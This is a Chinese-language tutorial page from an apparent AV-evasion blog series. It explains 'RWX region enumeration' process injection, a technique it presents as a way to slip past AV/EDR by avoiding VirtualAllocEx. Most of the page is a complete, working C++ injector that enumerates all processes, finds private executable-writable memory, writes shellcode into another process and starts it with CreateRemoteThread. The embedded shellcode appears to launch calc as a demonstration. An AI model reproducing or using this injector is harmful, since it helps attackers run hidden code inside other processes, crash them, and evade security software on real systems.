onedaybook
  • 关于这个博客
  • C2工具原理分析
    • C2工具原理分析:从生成shellcode到上线CS服务器全过程
  • DevilC2工具开发
    • 关于这个项目
  • Rootkit工具开发
  • EvilLoader工具开发
  • 免杀
    • 问鼎免杀之路
      • 序言
      • 第一章-基础
        • 0-基础
        • 1-PE的相关数据结构
        • 2-WindowsAPI
        • 3-混淆加密
        • 4-特征修改
        • 5-分离
        • 6-转换
        • 7-保护
      • 第二章-执行与注入技术
        • 0-创建线程注入(CreateThread Injection)
        • 1-创建纤程注入(CreateFiber Injection)
        • 2-创建远程线程注入(CreateRemoteThread Injection)
        • 3-创建堆注入(HeapCreate Injection)
        • 4-创建线程池注入(CreateThreadpoolWait Injection)
        • 5-进程镂空注入(Process Hollowing Injection)
        • 6-DLL镂空注入(DLL Hollowing Injection)
        • 7-DLL劫持注入(涉及白加黑)
        • 8-映射注入(Mapping Injection)
        • 9-MapViewOfFile+NtMapViewOfSection
        • 10-挂钩注入(SetWindowsHookEx Injection)
        • 11-注册表注入
        • 12-设置上下文劫持注入(SetContext Hijack Injection)
        • 13-剪贴板注入(Clipboard Injection)
        • 14-突破session 0远程线程注入
        • 15-枚举RWX区域注入
        • 16-APC注入(APC Injection)
        • 17-APC & NtTestAlert Injection
        • 18-APC劫持
        • 19-Early Bird
        • 20-基于资源节加载shellcode
        • 21-内核回调表注入(KernelCallbackTable Injection)
        • 22-自举的代码幽灵——反射DLL注入(Reflective DLL Injection)
        • 23-内存申请总结
        • 24-移动或复制shellcode总结
        • 25-shellcode执行总结
      • 第三章-防御规避
        • 0-动态获取API函数(又称隐藏IAT)
        • 1-重写ring3 API函数
        • 2-自定义 String 哈希算法
      • 第四章-武器化
        • 0-Windows Shellcode开发
        • 1-Windows Shellcode开发(x86 stager)
        • 2-Windows Shellcode开发(x64 stager)
        • 3-Linux Shellcode开发(Stager & Reverse Shell)
        • 4-非PEB获取ntdll和kernel32模块基址的精妙之道
        • 5-从SRDI原理剖析再到PE2Shellcode的实现
      • 第五章-主动进攻
      • 第六章-社工钓鱼
    • 随笔
      • 0-用哥斯拉插件零基础免杀上线msf和cs
      • 1-新版RDI
      • 2-新新版RDI
  • 权限提升
  • 数字取证/应急响应
  • 工具二开
    • 哥斯拉二开
      • 环境准备
  • 代码审计
  • PWN
    • ret2text
    • ret2shellcode
    • ret2syscall
    • ret2libc1
    • ret2libc2
    • ret2libc3
Powered by GitBook
On this page
  • 一、前言
  • 二、流程
  • 三、代码实现
  1. 免杀
  2. 问鼎免杀之路
  3. 第二章-执行与注入技术

15-枚举RWX区域注入

Previous14-突破session 0远程线程注入Next16-APC注入(APC Injection)

Last updated 4 months ago

一、前言

常见的远程线程注入是需要通过 VirtualAllocEx 在远程进程的虚拟地址空间中申请一块PAGE_EXECUTE_READWRITE的内存区域,然后使用 WriteProcessMemory 将shellcode写入远程的指定内存区域,最后通过 CreateRemoteThread 创建一指向shellcode的远程线程。

但是在我们的计算机上运行大量的进程,这些进程或多或少会有RWX的内存区域,我们可以在系统上暴力破解/枚举当前正在运行的目标进程,搜索它们分配的内存块并检查是否有任何受 RWX 保护的内存块,以便我们可以尝试写入/读取/执行它们。

枚举RWX区域注入 最大的优点是它不需要 VirtualAllocEx 这个敏感的WindowsAPI,在远程线程注入的执行链中缺少了关键一步,这将有助于规避AV/EDR的检测。

二、流程

  1. 创建一个系统快照,遍历系统上的所有进程

  2. 查询每个进程的内存信息

  3. 遍历每个进程中所有分配的内存块

  4. 检查是否有任何受RWX保护的内存块并且是私有的、已提交的

  5. 如果满足上述条件

    • 打印内存块的地址

    • 将 shellcode 写入该内存块

  6. 创建一个指向上述步骤中编写的 shellcode 的远程线程(如果有必要的话可以加上这一步)

用到关键API

  1. CreateToolhelp32Snapshot:创建一个快照,获取当前系统中的所有进程。官方文档:

  2. Process32First:获取第一个进程。官方文档:

  3. Process32Next:获取下一个进程。官方文档:

  4. OpenProcess:打开进程。官方文档:

  5. VirtualQueryEx:查询进程的内存信息。官方文档:

⚠注意:

  1. 使用 枚举RWX区域注入 可能会导致被注入进程异常甚至是崩溃,请谨慎使用。

  2. 尽量选择注入到conhost.exe里面

三、代码实现

#include <iostream> 
#include <Windows.h> 
#include <TlHelp32.h>

int main()
{
    MEMORY_BASIC_INFORMATION mbi = {};  // 用于存储内存基本信息的结构体
    LPVOID offset = 0;                   // 内存偏移量初始化为 0
    HANDLE process = NULL;               // 进程句柄初始化为 NULL
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建一个快照,获取当前系统中的所有进程
    PROCESSENTRY32 processEntry = {};    // 进程条目结构体,用于存储进程信息
    processEntry.dwSize = sizeof(PROCESSENTRY32); // 设置结构体大小
    DWORD bytesWritten = 0;              // 用于存储写入字节数
    unsigned char shellcode[] = {        // 定义要注入的 shellcode
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    int count = 0; // 计数器,用于跟踪找到的 RWX 区域数量

    // 获取第一个进程
    Process32First(snapshot, &processEntry);
    // 遍历所有进程
    while (Process32Next(snapshot, &processEntry))
    {
        // 打开进程,获取其句柄
        process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
        if (process) // 如果成功打开进程
        {
            std::wcout << processEntry.szExeFile << "\n"; // 输出进程的可执行文件名
            // 查询进程的内存信息
            while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
            {
                // 更新偏移量到下一个内存区域
                offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
                // 检查内存区域是否为可读写执行(RWX)
                if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
                {
                    std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; // 输出 RWX 区域的基地址

                    // 在第60个 RWX 区域注入 shellcode,你可以自行决定         
                    if (count == 60)
                    {
                        // 向目标进程的内存中写入 shellcode
                        WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL);
                        // 在目标进程中创建远程线程,执行 shellcode
                        CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
                    }
                    count++; // 增加计数器
                }
            }
            offset = 0; // 重置偏移量
        }
        CloseHandle(process); // 关闭进程句柄
    }

    return 0; 
}
CreateToolhelp32Snapshot 函数 (tlhelp32.h) - Win32 apps | Microsoft Learn
Process32First 函数 (tlhelp32.h) - Win32 apps | Microsoft Learn
Process32Next 函数 (tlhelp32.h) - Win32 apps | Microsoft Learn
OpenProcess 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn
VirtualQueryEx 函数 (memoryapi.h) - Win32 apps | Microsoft Learn